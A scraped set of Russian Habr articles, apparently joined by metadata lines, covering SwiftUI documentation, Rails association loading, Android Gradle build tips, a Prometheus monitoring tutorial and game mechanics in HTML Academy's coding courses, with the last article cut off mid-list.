Я также думаю о том, что лучше всего для создания документации подойдут люди, которые создают платформу, но в случае с документацией это сделать сложно. Они могут работать над документацией, чтобы она была доступной в процессе выпуска технологий. Я сочувствую всем, кто обучает разработчиков платформ Apple — когда появляется новый SDK или выпускается новая бета, им приходится не спать по три дня, пытаясь суматошно обновлять все свои материалы и раскрывать возможности новых функций. Они выполняют отличную работу, и я ценю её, но суматохи в ней быть не должно.
Можно было бы сделать так, чтобы отдел документации Apple работал над ней *согласованно* с людьми, месяцами пишущими API. Поэтому сразу в день их выпуска в документации был бы замечательный набор примеров кода, демонстрирующих способы использования API.
Ты совершенно прав, особенно в отношении SwiftUI — проблема в отсутствии традиционной документации… Если зайти в документацию по [`Text`](https://developer.apple.com/documentation/swiftui/text) в SwiftUI, то у типа [`View`](https://developer.apple.com/documentation/swiftui/view) есть множество различных модификаторов, которые можно применять к этому `View`. Их количество, кажется, исчисляется сотнями, если не больше. Однако наличие огромного списка всего того, что можно сделать с `Text`, ничем не помогает. Мы хотим знать следующее: «Как сделать, чтобы текст выглядел так?», «Что если мне нужен многострочный текст?», «Что если я хочу, чтобы многострочный текст состоял из определённого числа строк, после чего выравнивался по середине?» Реализуя подобные вещи, нам нужны примеры. Я не думаю, что общий список случаев, которые люди используют в реальности, особо широк. Я понимаю вашу боль.
---
#### На правах рекламы
Воплощайте любые идеи и проекты с помощью наших [VDS с мгновенной активацией](https://vdsina.ru/cloud-servers?partner=habr170) на **Linux** или **Windows**. Сервер готов к работе через минуту после оплаты!
[](https://vdsina.ru/cloud-servers?partner=habr170) | https://habr.com/ru/post/527770/ | null | ru | null |
# Различные методы загрузки ассоциаций в Ruby on Rails
Rails предоставляют нам 4 различных способа загрузки ассоциаций: preload, eager\_load, includes и joins. Рассмотрим каждый из них:
#### Preload
Этот метод загружает ассоциации в отдельном запросе:
```
User.preload(:posts).to_a
# =>
SELECT "users".* FROM "users"
SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1)
```
Т.к. preload всегда создает два отдельных запроса, то мы не можем использовать таблицу posts в условии выборки:
```
User.preload(:posts).where("posts.desc='ruby is awesome'")
# =>
SQLite3::SQLException: no such column: posts.desc:
SELECT "users".* FROM "users" WHERE (posts.desc='ruby is awesome')
```
А таблицу users – можем:
```
User.preload(:posts).where("users.name='Neeraj'")
# =>
SELECT "users".* FROM "users" WHERE (users.name='Neeraj')
SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (3)
```
#### Includes
По умолчанию includes действует точно так же, как и preload, но в случае наличия условия по ассоциированной таблице переключается на создание единственного запроса с LEFT OUTER JOIN.
```
User.includes(:posts).where('posts.desc = "ruby is awesome"').to_a
# =>
SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, "posts"."id" AS t1_r0,
"posts"."title" AS t1_r1,
"posts"."user_id" AS t1_r2, "posts"."desc" AS t1_r3
FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
WHERE (posts.desc = "ruby is awesome")
```
Если по каким-то причинам необходимо форсировать применение такого подхода, то можно использовать метод references:
```
User.includes(:posts).references(:posts).to_a
# =>
SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, "posts"."id" AS t1_r0,
"posts"."title" AS t1_r1,
"posts"."user_id" AS t1_r2, "posts"."desc" AS t1_r3
FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
```
#### Eager\_load
Этот метод загружает ассоциации в одном запросе с использованием Left Outer Join, точно так же, как действует includes в сочетании с references.
```
User.eager_load(:posts).to_a
# =>
SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, "posts"."id" AS t1_r0,
"posts"."title" AS t1_r1, "posts"."user_id" AS t1_r2, "posts"."desc" AS t1_r3
FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
```
#### Joins
Создает запрос с использованием INNER JOIN.
```
User.joins(:posts)
# =>
SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
```
При этом, загружаются данные только из таблицы users. Кроме того, этот запрос может возвратить дублирующие друг друга записи:
```
def self.setup
User.delete_all
Post.delete_all
u = User.create name: 'Neeraj'
u.posts.create! title: 'ruby', desc: 'ruby is awesome'
u.posts.create! title: 'rails', desc: 'rails is awesome'
u.posts.create! title: 'JavaScript', desc: 'JavaScript is awesome'
u = User.create name: 'Neil'
u.posts.create! title: 'JavaScript', desc: 'Javascript is awesome'
u = User.create name: 'Trisha'
end
```
Результат выполнения User.joins(:posts) в БД с такими данными:
```
#
#
#
#
```
Избежать повторений мы можем с использованием distinct:
```
User.joins(:posts).select('distinct users.*').to_a
# в комментариях подсказывают, что можно сделать проще:
User.joins(:posts).uniq
```
Если же мы хотим дополнительно получить какие-либо данные из таблицы posts, мы должны внести их в предложение select:
```
records = User.joins(:posts).select('distinct users.*, posts.title as posts_title').to_a
records.each do |user|
puts user.name
puts user.posts_title
end
```
Стоит заметить, что после выполнения метода joins вызов user.posts приведет в созданию еще одного запроса.
[Оригинал статьи](http://blog.bigbinary.com/2013/07/01/preload-vs-eager-load-vs-joins-vs-includes.html) | https://habr.com/ru/post/191762/ | null | ru | null |
# Несколько Gradle фишек для вашего Android приложения
В одну из последних рассылок Android Weekly попала [статья](https://medium.com/@rey5137/how-i-organize-android-project-structure-5ed9b849dc30), в которой упомянули интересные особенности организации сборки проекта. После ее прочтения мне захотелось поделиться кое-чем из того, что использую я для настройки сборки Android проекта.
Избавляемся от дублирования кода в ваших build.gradle файлах
============================================================
Казалось бы простая идея, однако такой подход используется довольно редко.
Предположим, у вас есть несколько модулей в приложении, в каждом из которых необходимо прописать buildToolsVersion. Часто эту задачу решают путем вынесения конкретной версии в ext-переменную.
Помимо этого, можно оптимизировать код, задав это значение только в одном месте.
Напомню о возможности применения кода из другого gradle файла в вашем build.gradle:
```
apply plugin: 'com.android.application'
apply from: "$buildSystemDir/application.gradle"
```
А в файле application.gradle уже можно указать нужные версии:
```
android {
compileSdkVersion 24
buildToolsVersion "24.0.1"
defaultConfig {
minSdkVersion 15
targetSdkVersion 24
testInstrumentationRunner 'android.support.test.runner.AndroidJUnitRunner'
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_7
targetCompatibility JavaVersion.VERSION_1_7
}
}
```
Сюда вы можете вынести любые настройки всего проекта. Затем, в каждом конкретном модуле вы можете переопределить значения (при необходимости).
В отдельный gradle файл можно вынести не только конфигурации android — extension, но и тестовые зависимости, настройку jacoco, findbugs, pmd и т.д. и т.п.
Добавляем свойства в проект
===========================
Возможно вы уже заметили переменную “$buildSystemDir”. Она задана в build.gradle файле корневого проекта:
```
allprojects {
it.extensions.add("buildSystemDir", "$rootProject.projectDir/buildSystem/")
}
```
После этого в каждом модуле можно использовать это свойство без всяких префиксов. Что, опять же, чуть-чуть сокращает код ;)
Подпись apk
===========
Тема безопасного хранения ключей и паролей от сертификата — очень интересная, и я буду очень рад, если кто-то подскажет хорошее решение (с ci, безопасное), а пока я приведу свой вариант.
Информация о каждом сертификате хранится в \*.properties файле. Он может как присутствовать на машине сборки проекта так и отсутствовать.
**sign.gradle:**
```
Properties signProp = new Properties()
try {
signProp.load(rootProject.file('signForTest.properties').newDataInputStream())
project.ext {
forTest = new Object() {
def storeFile = signProp.get("forTest.storeFile")
def storePassword = signProp.get("forTest.storePassword")
def keyAlias = signProp.get("forTest.keyAlias")
def keyPassword = signProp.get("forTest.keyPassword")
}
}
} catch (IOException e) {
project.ext {
forTest = new Object() {
def storeFile = "/"
def storePassword = ""
def keyAlias = ""
def keyPassword = ""
}
}
}
android {
signingConfigs {
forTest {
storeFile file(project.ext.forTest.storeFile)
storePassword project.ext.forTest.storePassword
keyAlias project.ext.forTest.keyAlias
keyPassword project.ext.forTest.keyPassword
}
}
}
```
Вот и всё. Осталось применить этот файл в build.gradle нашего приложения и использовать сконфигурированный signingConfig в нашем buildType.
buildSrc
========
Что же делать, когда в системе сборки нужен полноценный код, а свой плагин писать нет времени? Для этого можно использовать директорию buildSrc.
В корневом каталоге вашего проекта (там где лежит gradlew) создаем новый модуль buildSrc. Этот модуль должен быть обычным java проектом (или groovy или чем-либо ещё), со следующим build.gradle файлом:
```
apply plugin: "groovy"
repositories {
mavenCentral()
}
dependencies {
compile localGroovy()
compile gradleApi()
}
// START SNIPPET addToRootProject
rootProject.dependencies {
runtime project(path)
}
// END SNIPPET addToRootProject
```
Теперь в этом проекте можно создать какой-либо класс Awesome.groovy, а в build.gradle Android модуля этот класс импортировать и использовать.
При запуске сборки вашего проекта в первую очередь будет выполнен build модуля buildSrc. После чего произойдет конфигурация остальных модулей.
Не могу сказать, что рекомендую использовать данное решение, т.к. это немного увеличивает время сборки проекта с нуля. Но в крайнем случае может пригодиться.
Flavor dimensions
=================
Эта возможность для конфигурирования проекта хорошо описана в доках (// [tools.android.com/tech-docs/new-build-system/user-guide#TOC-Multi-flavor-variants](http://tools.android.com/tech-docs/new-build-system/user-guide#TOC-Multi-flavor-variants)
). Но, либо о ней не все знают, либо не понимают, в каких случаях ее можно использовать, поэтому я решил об этом рассказать.
Предположим, вам необходимо создать платное и бесплатное приложение. При этом ваше приложение выпускается для телевизоров, планшетов и телефонов. Более того, ваше приложение публикуется в разных маркетах.
Добавим в свой build.gradle следующий код:
```
android {
flavorDimensions "device", "paid", "market"
productFlavors {
tv {
dimension 'device'
}
tablet {
dimension 'device'
}
phone {
dimension 'device'
}
free {
dimension 'paid'
}
premium {
dimension 'paid'
}
google {
dimension 'market'
}
amazon {
dimension 'market'
}
}
}
```
Объявив 7 flavor-ов в трех разных группах вы получили целых 12 различных вариантов приложения. Добавим сюда еще buildTypes, и мы получим огромное количество apk-шек.
> phoneFreeGoogleDebug
>
> phoneFreeGoogleRelease
>
> phoneFreeAmazonDebug
>
> phoneFreeAmazonDebug
>
> phonePremiumGoogleDebug
>
> …. и т.д.
Для каждого объявленного вами flavor создаются свои sourceSet. К примеру, если вы выбрали флавор phoneFreeAmazonDebug будут использованы следующие sourceSets:
> src/phoneFreeAmazon
>
> src/phoneFree
>
> src/phoneAmazon
>
> src/freeAmazon
>
> src/phone
>
> src/free
>
> src/amazon
Таким образом, открываются широкие возможности для кастомизации сборок.
Указываем minSdkVersion для buildType
=====================================
Для ускорения сборки приложения на этапе разработки часто рекомендуют создать отдельный flavor “develop” и указать для него minSdkVersion = 21. Однако, это не очень удобно, и часто хочется указать этот параметр в buildType debug. Изначально, плагин сборки не позволяет этого сделать, однако, при необходимости, эту проблему можно решить следующим хайком.
Для нужного buildType необходимо добавить ext переменную:
```
…
buildTypes {
...
debug {
...
ext.minSdkVersion = 21
}
}
```
Ниже необходимо добавить следующий код:
```
preBuild.doFirst {
android.applicationVariants.all {
if (it.buildType.hasProperty("minSdkVersion")) {
int i = it.buildType.ext.minSdkVersion;
it.mergedFlavor.setMinSdkVersion(new com.android.builder.core.DefaultApiVersion(i))
}
}
}
```
Теперь для всех ваших flavor в debug сборке minSdkVersion будет 21. Однако, тут есть жесткая завязка на внутренности плагина, поэтому при обновлении версии плагина что-то может поломаться. Поэтому, не могу рекомендовать использовать этот хак — выбор за вами.
Вместо заключения хочу отметить, что Gradle — очень мощный инструмент для сборки проекта. Если вы уделяете много внимания качеству кода вашего приложения, то не забывайте приводить в порядок и код в build.gradle файлах. | https://habr.com/ru/post/311100/ | null | ru | null |
# Prometheus
Доброго всем. Делимся тут очень интересной статьёй, на которую натыкались в рамках подготовки нашего [курса](https://otus.pw/jxWy/). Перевод идёт, как есть целиком (за исключением некоторых комментариев).
**Предыстория**
В двух словах — вступление о мониторинге и аппеляционности убеждений. Как многим известно, я сопровождаю Riemann — инструмент обработки потоков событий для мониторинга распределенных систем. В моей книге, [посвященной мониторингу](https://artofmonitoring.com/), я использовал Riemann, как основной инструмент для изучения новых подходов и паттернов мониторинга, и описал архитектуру whitebox-мониторинга (с выборочным blackbox-мониторингом), используя push модель.
Чтобы понять, о чем я вообще веду речь, объясним некоторые концепции. Blackbox-мониторинг отвечает за проверку внешних характеристик сервисов или приложений: возможно ли подключиться к открытому порту сервиса, возвращаются ли корректные данные или код ответа. Примером blackbox-мониторинга может служить ICMP-запрос и подтверждение получения ответа.
В свою очередь, whitebox-мониторинг сфокусирован на том, что происходит внутри сервиса или приложения. Приложение, обладающее соответствующим инструментарием, возвращает состояние самого себя или внутренних компонентов, результат выполнения транзакций или событий. Эти данные отвечают на вопрос “как работает приложение”, а не на вопрос “работает ли приложение”. Whitebox-мониторинг передает события, логи или метрики в специальный инструмент для мониторинга или предоставляет информацию наружу для последующего сбора инструментом мониторинга.
Большинство людей, занимающихся современным мониторингом, понимают, что в whitebox-мониторинг нужно вкладывать большие инвестиции. Информация, полученная изнутри приложения представляет ощутимо бОльшую ценность для бизнеса и эксплуатации, чем та, что получена на поверхности. Это совсем не значит, что blackbox-мониторинг — пустая трата ресурсов. Внешний мониторинг сервисов и приложений полезен, особенно для служб, которые находятся за пределами вашего контроля, или когда взгляд извне дает контекст, недоступный изнутри, например, касательно маршрутизации или проблем DNS.
В книге я фокусируюсь на работе с push-моделью, а не pull. Также много внимания в книге уделено преимуществам мониторинга на основе push-модели над pull-моделью. Многие (если не большинство) системы мониторинга построены именно на основе pull/polling-модели. В такой модели система опрашивает сервис или приложение, которое мониторит. В свою очередь в push-модели приложения и сервисы сами отправляют данные в систему мониторинга.
По множеству причин (некоторые из них не очевидны на первый взгляд) я предпочитаю push-модель. Но особенности обоих подходов зачастую не мешают реализации по ряду причин (например, из-за масштаба). А вероятность успеха никак не зависит от споров о реализации или инструментах. Я придерживаюсь мнения, что инструменты, в первую очередь, должны подходить именно вам, и нет смысла бездумно следовать тенденциям или догматизму.
Именно стремление не быть категоричным и недостаточность понимания различий сообществом воодушевили меня написать вводный туториал для одного из ведущих инструментов мониторинга на базе pull-модели: Prometheus. Он очень популярен, особенно в мире контейнеров и Kubernetes.
**Знакомство с Prometheus**
Prometheus разработан инженерами Soundcloud, ранее работавшими в Google. Он написан на Go, обладает открытым исходным кодом и разрабатывается при поддержке [Cloud Native Computing Foundation](https://www.cncf.io/announcement/2016/05/09/cloud-native-computing-foundation-accepts-prometheus-as-second-hosted-project/). Источником вдохновения для проекта послужил Borgmon от Google.
Prometheus сфокусирован на whitebox-мониторинге. Он собирает time series данные, полученные из приложений и сервисов. Приложение предоставляет эти данные самостоятельно или через плагины, которые называются экспортеры (exporters).
Платформа Prometheus основывается на сервере, который собирает и хранит time series данные. Она обладает многомерной моделью временных рядов, объединяющую метрические имена и пары ключ/значение, называемые метками для метаданных. Time series данные хранятся на сервере, отдельные серверы автономны и не зависят от распределенного хранилища.
Платформа также содержит клиентские библиотеки и ряд экспортеров для специфических функций и компонентов. Например, экспортер StatsD, который преобразует time series данные StatsD в формат Prometheus. Кроме того, есть push-gateway для приема небольших объемов входящих данных и alert manager, который умеет обрабатывать уведомления, созданные триггерами или при превышении пороговых значений данных, собранных Prometheus.
С более детальной архитектурой можно познакомиться в [документации](https://prometheus.io/docs/introduction/overview/#architecture) Prometheus.
**Установка**
Сервер Prometheus — бинарный файл с одноименным названием prometheus. Возьмем его последнюю версию и распакуем.
```
$ wget https://github.com/prometheus/prometheus/releases/download/v1.8.0/prometheus-1.8.0.darwin-amd64.tar.gz
$ tar -xzf prometheus-*.tar.gz
$ cd prometheus-1.8.0.darwin-amd64/
```
На официальном сайте также размещены различные дополнительные компоненты: alert manager для отправки уведомлений и экспортеры для разнообразных сервисов.
**Настройка**
Бинарный файл prometheus, который мы только что распаковали, настраивается через YAML файл. Посмотрим, что он собой представляет:
```
global:
scrape_interval: 15s
evaluation_interval: 15s
external_labels:
monitor: 'codelab-monitor'
rule_files:
# - "first.rules"
# - "second.rules"
scrape_configs:
- job_name: 'prometheus'
static_configs:
- targets: ['localhost:9090']
```
В данном конфигурационном файле определены три YAML блока:
*Глобальный*
Первый блок global содержит глобальные настройки для управления поведением сервера.
scrape\_interval задает интервалы между опросами приложения или сервиса, в нашем случае 15 секунд. Это разрешение шкалы данных, т. е. период времени, который покрывается каждой точкой данных.
evaluation\_interval сообщает Prometheus, как часто обрабатывать данные согласно правилам. Правила бывают двух основных видов: правила записи и правила алерта. Правила записи позволяют заранее вычислить часто используемые и ресурсоемкие выражения и сохранить результат в виде новых time series данных. Правила алерта позволяют определять условия оповещений. Prometheus будет (пере-)проверять эти условия каждый 15 секунд.
В external\_labels содержится список пар “ключ/значение” для меток, которые будут добавлены к любой метрике, существующей на сервере, например, при генерации предупреждения.
*Файлы правил*
Второй блок — rule\_files, содержит в себе список файлов с правилами записи или алерта.
*Конфигурация опросов*
Последний блок scrape\_configs показывает все цели, которые Prometheus будет опрашивать. Prometheus называет цели инстансами (instances), а группы инстансов — заданием (job). По умолчанию есть только одно задание — prometheus. Внутри него лежит static\_config со списком инстансов (по умолчанию только один — сервер Prometheus). Он опрашивает порт 9090 localhost’а для получения метрик состояния самого сервера. Предполагается, что метрики находятся в /metrics, поэтому локально опрашивается адрес localhost:9090/metrics. Путь можно изменить с помощью опции metric\_path.
Одинокий задание — довольно скучно, поэтому добавим еще одно для опроса локального демона Docker. Воспользуемся инструкцией в [документации](https://docs.docker.com/engine/admin/prometheus/#configure-and-run-prometheus) Docker и настроим демона, чтобы он отдавал метрики с адреса localhost:9323/metrics. А после, добавим еще одно задание с названием docker.
```
- job_name: 'docker'
static_configs:
- targets: ['localhost:9323']
```
У задания есть имя и инстанс, который ссылается на адрес для получения метрик демона Docker. Путь по умолчанию снова /metrics.
Полный конфигурационный файл можно найти по [ссылке](https://gist.github.com/jamtur01/ddfb145a88fe09355bbe72ece53fc827).
**Запуск сервера**
Запустим сервер и посмотрим, что происходит.
```
$ ./prometheus -config.file "prometheus.yml"
```
Запускаем бинарный файл и указываем файл настройки во флаге командной строки -config.file. Сервер Prometheus теперь запущен, опрашивает инстансы в заданиях prometheus и docker и возвращает результаты.
**Дашборд**
У Prometheus есть встроенный интерфейс, где можно посмотреть результаты. Для этого нужно открыть в браузере <http://localhost:9090/graph>.
Если кликнуть по — insert metric at cursor -, можно выбрать одну из собираемых метрик. Посмотрим на HTTP запросы. Для этого нужно выбрать метрику http\_requests\_total и нажать Execute.
Появится список элементов и значений, например:
```
http_requests_total{code="200",handler="prometheus",instance="localhost:9090",job="prometheus",method="get"}
```
Эти элементы являются метриками, которые разделены дополнительными измерениями (они предоставляются метками метрик). Например, у метрики http\_requests\_total есть метка handler, которая содержит информацию о порождающем запрос процессе. Список метрик можно уменьшить, выбрав конкретные метрики, содержащие одну из этих меток.
Гибкость языка выражений, встроенного на сервер Prometheus, упрощает поиск и агрегирование метрик.
Мы использовали метку handler, чтобы выбрать метрики только для хендлера prometheus.
Дополнительно агрегируем метрики HTTP запросов. Допустим, необходимо посмотреть количество HTTP запросов за пять минут, разбитых по заданиям. Для этого уточним запрос:
```
sum(rate(http_requests_total[5m])) by (job)
```
Теперь выполним запрос, нажав Execute:
Дополнительно можно посмотреть график результатов, выбрав вкладку Graph:
На нем мы видим общее количество HTTP запросов за последние пять минут, сгруппированных по заданиям.
Мы можем сохранить эти запросы в качестве правил записи, обеспечивая их автоматическое выполнение и создание новой метрики из данного правила.
Для этого добавим файл в блок rule\_files:
```
rule_files:
- "first.rules"
# - "second.rules"
```
И пропишем следующее правило в файл first.rules:
```
job:http_requests_total:sum = sum(rate(http_requests_total[5m])) by (job)
```
Это создаст новую метрику job:http\_requests\_total:sum для каждого задания.
Теперь можно сделать график из метрики и добавить его в дашборд.
**Alerting**
Предупреждения, как и агрегация, основываются на правилах. Чтобы добавить правило предупреждения, нужно прописать еще один файл в блок rule\_files.
```
rule_files:
- "first.rules"
- "second.rules"
```
Создадим в файле second.rule новое правило, которое будет уведомлять о падении инстансов. Для этого используем одну из стандартных метрик для сбора: up — это метрика состояния, ее значение равно 1, если опрос успешен, и 0, если опрос потерпел неудачу.
Добавим правило алерта в файл правил. Выглядеть оно должно следующим образом:
```
ALERT InstanceDown
IF up == 0
FOR 5m
LABELS { severity = "moderate" }
ANNOTATIONS {
summary = "Instance {{ $labels.instance }} down",
description = "{{ $labels.instance }} of job {{ $labels.job }} has been down for more than 5 minutes.",
}
```
Правило алерта немного похоже на условный запрос. Мы даем ему имя InstanceDown и набор правил. Алерт InstanceDown срабатывает, когда метрика up равна 0 (т. е. сбор метрик провалился) на протяжении пяти минут. Мы добавили метку к алерту: severity = moderate (т.е. уровень серьезности = умеренный) и аннотации. Аннотации позволяют добавить больше информации алерту, например, описание события. Аннотации содержат {{ }} — скобки для шаблонизации в Go, в которых прописаны переменные. Так мы можем кастомизировать алерт с помощью [шаблонов](https://prometheus.io/docs/alerting/rules/#templating). В нашем случае, переменная $labels содержит метку метрики, например, $labels.instance возвращает имя инстанса, $labels.job имя джоба, и т.д.
Теперь, спустя пять минут после остановки демона Docker, Prometheus запустит наш алерт и отправит сообщение в диспетчер [Alertmanager](https://prometheus.io/docs/alerting/alertmanager/) (который предварительно нужно установить и запустить отдельно, либо воспользоваться каким-то другим инструментом, например, [Alerta tool](http://alerta.io/)). Текущие уведомления можно увидеть на дашборде во вкладке Alerts.
**Заключение**
Prometheus — отличная платформа, которую легко установить и настроить. Конфигурация описывается в YAML, что упрощает использование подхода Infrastructure as Code (IaC). Мониторинг простых окружений становится безболезненным благодаря автономному серверу. К сожалению, не удалось найти много примеров для более сложных окружений, поэтому стоит потратить время на эксперименты и разные подходы, чтобы найти наиболее оптимальный способ.
Модель данных очень гибкая, особенно поражает легкость, с которой можно присваивать метки метрикам и производить по ним поиск. Я познакомился с большей частью клиентских библиотек и с несколькими экспортерами — ничего сверхсложного. Создание инструментов и генерация метрик не должна вызвать больших трудностей.
Встроенный интерфейс чистый и элегантный, а в совокупности с языком запросов, выглядит как подходящий инструмент для отладки или планирования ресурсов. Правила записи подходят для агрегации метрик.
Я немного изучил хранилище, безопасность, обнаружение серверов и прочие доступные интеграции — возможности выглядят всеобъемлющими. Быстрый поиск по GitHub показал внушительный набор инструментов, интеграций и примеров, которых для начала точно должно хватить.
У основной платформы есть достаточная документация, но для некоторых смежных проектов она довольно хаотичная и неполная. Хотя даже при ограниченном знании Prometheus, буквально за час мне удалось создать рабочую конфигурацию.
Распространение одного бинарного файла без скриптов инициализации или пакетирования нельзя назвать решением, готовым к использованию из коробки, но, тем не менее, это рабочее решение для многих проектов. Также существуют различные подготовительные скрипты среди систем управления конфигурации, которыми можно воспользоваться. Тем не менее, большинство исследующих инструменты вроде Prometheus'а скорее всего справятся с установкой самостоятельно. Поддержка контейнеров и Kubernetes привлекательна для людей, пользующихся этими инструментами. А исследователей (микро-)сервисов и динамических или облачных стеков заинтересует автономность и портативность сервера.
Если у вас есть проект, где нужно реализовать мониторинг, я рекомендую Prometheus. Он также стоит потраченного времени, если ваша деятельность связана с контейнерами и инструментами вроде Docker и Kubernetes. Благодаря своей гибкости он подходит для таких инструментов и архитектур гораздо лучше других существующих платформ.
P.S. Вдохновением для этого поста послужила [статья](https://medium.com/@copyconstruct/monitoring-in-the-time-of-cloud-native-c87c7a5bfa3e) Monitoring in the time of Cloud Native, написанная Синди Сридхаран (Cindy Sridharan). Спасибо, Синди!
THE END
Надеемся, что буде полезно. | https://habr.com/ru/post/341862/ | null | ru | null |
# 10 игровых механик в HTML Academy
В тот момент, когда начиналась разработка [HTML Academy](http://htmlacademy.ru), мы достаточно серьёзно играли в WOW, да и, вообще, были поклонниками игр Blizzard со стажем. Поэтому с игровыми механиками были знакомы достаточно хорошо, хотя сами этого не подозревали. Многие интересные механизмы появились в академии, как нам казалось, сами по себе. Но позже выяснилось, что на самом деле они называются «игровыми механиками», а мы их неосознанно взяли из игровой практики.
Оказалось, что игровые механики это не только банальные и грубые «очки и бейджики», но и более тонкие приёмы, нацеленные на работу с мотивацией пользователя. В нашем случае главной целью было сделать так, чтобы ученики проходили курсы до конца, учились внимательнее и усерднее. Просто «нескучных» курсов для этого мало, ведь для достижения нашей цели нужно, чтобы обучение затягивало и доставляло удовольствие. Постепенно мы опробовали и приняли на вооружение ряд игровых механик, о которых и хотим рассказать.
#### Наши игровые механики
Вот те механики, которые мы применяем при создании курсов, в верхней части списка располагаются более важные и значимые:
1. постепенная подача информации;
2. принцип постепенного усложнения;
3. головоломки;
4. мгновенная обратная связь;
5. «перфекционизм»;
6. мини-игры;
7. «сторителлинг»;
8. достижения и очки;
9. рейтинги;
10. открытые профили.
А сейчас подробно и с примерами разберём каждую из механик.
#### 1. Постепенная подача информации
Суть приёма заключается в том, что большие и сложные задания или куски теории дробятся на маленькие и простые и объединяются в серии заданий.
На примере внизу показана серия заданий из курса про фоны, в которой мы пошагово знакомим ученика с «фоновыми» свойствами.
Эту механику мы применяем очень часто:
* для знакомства со сложными составными свойствами;
* при пошаговом построении каких-либо элементов интерфейса;
* даже знакомство с обучающим интерфейсом системы выполнено, как серия заданий, а не как привычная инструкция.
Если вернуться к аналогии с играми, то там эта механика применяется достаточно часто. Вспомните так называемые цепочки квестов, каждый из которых достаточно простой и иногда разбивается на ещё более простые подзадачи. При этом сами цепочки могут быть очень длинными.
#### 2. Принцип постепенного усложнения
Суть механики заключается в том, что ученик всегда должен ощущать прогресс и движение вперёд. Вспомните любую игру в жанре RPG, в которой сначала вы прокачиваете уровни, а достигнув максимального, начинаете прокачиваться экипировкой для того, чтобы справляться со всё более сложными противниками. Ощущение прогресса доставляет удовольствие, заставляет продолжать играть или учиться дальше.
В обучающих курсах ощущение прогресса может появиться только тогда, когда ученик выполняет всё более и более сложные задания.
На примере видно, как усложняются испытания внутри курса про таблицы. Первая таблица очень простая, затем появляются объединения ячеек, а напоследок добавляются фоны, выравнивание текста в ячейках, управление шириной колонок.
А так усложняются испытания от начальных курсов базового цикла к завершающим. От нескольких заголовков и абзацев, до блока с большим количеством мелких деталей.
Постепенно усложнять можно и формулировки задач, сравните эти три:
* «Задайте свойству `width` значение `450px`»
* «Задайте ширину элемента `450px` и отцентруйте его»
* «Найдите и исправьте ошибки в HTML-коде»
В первом случае ученик просто копирует и вставляет нужные значения, знакомится со свойством. Во втором уже нужно вспоминать названия свойств или какие-либо приёмы. А в третьем — анализировать код, включать логическое мышление.
Применяя эту механику, следует придерживаться следующих правил:
* Сложность должна расти постоянно и очень плавно.
* Нельзя допускать чрезмерно сложных заданий, так как они могут напрочь убить желание учиться. Такие задания как непреодолимая стена.
* Нужно постоянно балансировать сложность заданий, следя за статистикой и отзывами.
* Но и слишком простые задания постоянно делать не стоит — они скучны.
У нас были и неудачные примеры испытаний, где мы перегибали со сложностью. Вот пример исходного сложного задания и его упрощённой версии из курса про меню.
В первой версии было много трудно подбираемых отступов и неконтрастных элементов. Упрощённый вариант более контрастный и в нём используется правило «пяти пикселей», когда все размеры, отступы и параметры шрифта кратны пяти — оно позволяет избавиться от ненужных угадываний размеров и избыточной сложности.
Конечно, есть и другие способы упрощения заданий и помощи застрявшим ученикам: подсказки, возможность получения правильных ответов, саппорт, система комментариев.
#### 3. Головоломки
Суть головоломки проста — это достаточно сложное на первый взгляд, но принципиально решаемое задание. Самое главное, что и ученик понимает, что способен решить головоломку. И чем она сложнее, тем приятнее её раскусить, особенно если во время разгадывания ещё чему-то учишься.
В [этом испытании](http://htmlacademy.ru/courses/42/run/18) HTML и CSS-код уже готов, но отсутствуют селекторы. Ученику нужно просто подобрать подходящие селекторы, чтобы получить изображение мишеней. Конечно, неподготовленному человеку сверстать такой пример с нуля очень сложно, но в формате головоломки это ему вполне по плечу.
А в [этом испытании](http://htmlacademy.ru/courses/65/run/13), посвящённом свойству `float` CSS полностью готов, но отсутствует часть HTML-кода. Ученику нужно записать HTML-тэги с определёнными классами в правильном порядке, чтобы получить такую простую мозаику. Порядок блоков и CSS-свойства подобраны таким образом, чтобы ученик в процессе разгадывания головоломки столкнулся со всеми странностями флоатных элементов.
Головоломки обладают отличным балансом сложности и интересности.
#### 4. Мгновенная обратная связь
Простая и очень важная механика. Суть — ученик видит результат работы своего кода и реакцию системы на него практически мгновенно, и сразу понимает прав он или нет. Без необходимости нажимать кнопку «Проверить».
Вспомните свою любимую стрелялку: сразу после выстрела вы видите попадание (внешний результат), а также увеличение количества фрагов (реакция системы) и понимаете, что всё сделали правильно. А теперь представьте, что после каждого выстрела нужно нажать кнопку «Проверить» и ждать несколько секунд, чтобы узнать, попали ли. Удовольствие от игры убито.
Ещё лучше такая механика работает тогда, когда задание дробится на несколько более простых подзадач. В этом случае максимально сокращается петля обратной связи и существенно снижается цена ошибки. Ведь объём заданий становится меньше, а чтобы проверить очередной вариант решения, надо написать меньше кода. Ученик при выполнении задания работает малыми итерациями, почти так же, как работают многие верстальщики и программисты, которые проверяют результат после каждых нескольких строчек кода. Да и обучение при таком подходе становится похожим на игру.
#### 5. «Перфекционизм»
Очень интересная механика, которая выстрелила абсолютно неожиданно для нас. Иногда её называют «прогрессбар». Суть такова: чтобы пройти испытание, нужно, чтобы уровень схожести результата и образца превысил 90%, больше мы не требуем. Но очень многие хотят непременно набрать 100%.
Это приводит к интересным последствиям.
Во-первых, повышается вовлечённость в процесс обучения. Для простого прохождения испытания обычно достаточно 10-20 минут, а для идеального — до 6 часов.
Во-вторых, ученики не просто зависают на одном испытании, а перепроходят курсы, гуглят описания свойств и детально разбираются в их работе, проходят следующие, более сложные курсы, чтобы вернуться и одолеть испытание на 100%.
Конечно, это похвально, но есть и негативные эффекты, которые заключаются в том, что человек может тратить чрезмерное количество времени, чтобы добить жалкие 2-3 процента, когда способ решения задачи уже ясен.
Очень хорошо перфекционизм сочетается с головоломками, а раскалывание головоломки на 100% доставляет, пожалуй, больше всего удовольствия.
#### 6. Мини-игры
